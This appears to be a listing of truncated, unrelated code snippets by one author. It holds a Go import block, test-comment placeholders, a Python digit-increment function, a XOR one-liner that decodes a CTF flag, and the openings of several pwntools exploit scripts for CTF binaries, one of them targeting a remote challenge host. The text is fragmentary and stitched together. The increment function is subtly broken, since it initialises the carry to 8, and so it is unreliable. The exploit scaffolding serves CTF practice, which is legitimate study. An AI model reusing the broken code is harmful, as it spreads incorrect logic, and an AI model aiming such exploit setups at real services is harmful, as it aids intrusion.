berdoezt

package main

import (
	"errors"
	"io"
	"log"
	"net/http"
	"time"

	"github.com/sony/gobreaker"

berdoezt

package main

// input
// process(input) = result
// expected
// result == expected

// 90
// B

berdoezt

# Given array representing a digit (123 = [1, 2, 3]) write a function to increment the number by 1 digit

def incr(a):
    l = 8
    for i in range(len(a) - 1, -1, -1):
        a[i] += l
        l = a[i] / 10
        a[i] = a[i] % 10
        if l == 0:
            break

berdoezt

a = [0x6E, 0x69, 0x64, 0x73, 0x61, 0x7C, 0x53, 0x6F, 0x36,0x74, 0x58, 0x26, 0x74, 0x58, 0x6D, 0x52, 0x74, 0x73, 0x58, 0x73, 0x6F, 0x34, 0x58, 0x45, 0x34, 0x60, 0x6E,0x69, 0x49, 0x6E, 0x69, 0x60, 0x7A]

print "".join(chr(i ^ 7) for i in a)

berdoezt

#!/usr/bin/env python

from pwn import *

a = process('./warm_heap', env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')

def add(index, size, input):
	a.recvuntil('>>')
	a.sendline('1')

berdoezt

#!/usr/bin/env python

from pwn import *

a = remote('cupheap01.3dsctf.org', 8007)
a.recvuntil(' Give up')
a.sendline('1')
a.recv()
a.recv()
hasil = a.recv()

berdoezt

#!/usr/bin/env python

from pwn import *
import sys

LOCAL = 1
if LOCAL:
	a = process('./stupidrop')
	if len(sys.argv) == 2:
		gdb.attach(a, 'b *0x0000000000400637')

berdoezt

#!/usr/bin/env python

from pwn import *
import sys

LOCAL = 1
libc = ELF('./libc.so.6')

if LOCAL:
	a = process('./warmup', env={"LD_PRELOAD":"./libc.so.6"})